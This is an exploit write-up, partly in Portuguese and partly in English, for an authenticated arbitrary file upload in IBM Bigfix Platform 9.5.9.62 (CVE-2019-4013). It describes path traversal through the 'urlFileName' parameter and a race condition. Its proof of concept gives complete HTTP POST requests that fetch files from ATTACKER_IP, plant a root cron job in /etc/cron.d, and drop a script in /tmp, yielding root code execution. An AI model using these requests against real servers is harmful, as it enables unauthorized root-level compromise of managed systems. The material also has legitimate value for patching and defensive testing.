IBM Bigfix Platform 9.5.9.62 – Arbitrary File Upload
# Exploit Title: IBM Bigfix Platform 9.5.9.62 – Upload de arquivo arbitrário
# Data: 2018-12-11
# Exploit Autores: Jakub Palaczynski
# Página inicial do fornecedor: https://www.ibm.com/
# Versão: IBM Bigfix Platform <= 9.5.9.62
# CVE: CVE-2019-4013
Descrição:
============
Qualquer usuário autenticado (mesmo sem privilégios) pode fazer upload de qualquer arquivo para qualquer local no servidor com privilégios de root. Isso resulta na execução do código no sistema subjacente com privilégios de root.
O que causou esse problema:
* caminho atravessado – é possível escapar do diretório original e enviar o arquivo para qualquer outro local
* servidor rodando com privilégios de root – o usuário pode fazer upload de arquivo para QUALQUER local no sistema
* faça upload de qualquer tipo de arquivo – o aplicativo não verifica a extensão e o tipo MIME dos arquivos enviados
* desvio de autorização (relatado como problema separado) – qualquer usuário pode revelar funcionalidades privilegiadas e acessá-las sem os direitos adequados definidos
* possibilidade de ganhar a corrida – o aplicativo faz o upload do arquivo para o local especificado no parâmetro “urlFileName” (passagem do caminho); no entanto, ele o move para outro. Um invasor precisa vencer a corrida e executar o script antes de ser movido.
Foi encontrado um problema no menu “Aplicativos> Software> Adicionar software”. Aqui, o usuário precisa escolher a opção de upload via URL, pois apenas este é vulnerável.
O URL precisa apontar para o servidor da web do invasor, onde ele hospeda, por exemplo, arquivos de script.
Quando o formulário é enviado, podemos ver o parâmetro “urlFileName” do proxy. Este é vulnerável ao percurso do caminho. Este parâmetro especifica o nome do arquivo temporário que será usado no sistema. O aplicativo move esse arquivo para outro local que não é controlado pelo usuário do aplicativo.
Um invasor pode, por exemplo, fazer upload de arquivo de script no servidor da Web e executá-lo enviando uma solicitação GET. No entanto, como um PoC, usaremos o cron. Aqui nós carregamos 2 arquivos – arquivo cron e arquivo de script que serão executados pelo cron.
O upload da tarefa cron e do arquivo de script é o mesmo que abaixo, mas é claro, com conteúdo diferente baixado do servidor da web. Essas duas solicitações HTTP devem ser enviadas em loop para finalmente ganhar uma corrida e executar nosso script.
Prova de conceito:
=================
cron.txt servido no servidor da web do invasor:
* * * * * root bash /tmp/icmp.sh
icmp.txt served on attacker's web server:
#!/bin/bash
ping -c 3 ATTACKER_IP
Uploading cron task:
POST /swd/api/packages/upload HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Length: 846
Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809
X-XSRF-TOKEN: XXX
Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX
Connection: close
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="fileURL"
http://ATTACKER_IP/cron.txt
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="username"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="password"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlFileName"
../../../../../../../../etc/cron.d/task
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlDownloadAtRuntime"
false
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="uploadId"
user_1543410578364620
-----------------------------7289782871626994727576601809--
Uploading script file:
POST /swd/api/packages/upload HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Length: 846
Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809
X-XSRF-TOKEN: XXX
Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX
Connection: close
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="fileURL"
http://ATTACKER_IP/icmp.txt
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="username"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="password"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlFileName"
../../../../../../../../tmp/icmp.sh
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlDownloadAtRuntime"
false
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="uploadId"
user_1543410578364620
-----------------------------7289782871626994727576601809--
After a while our script should be executed with root privileges.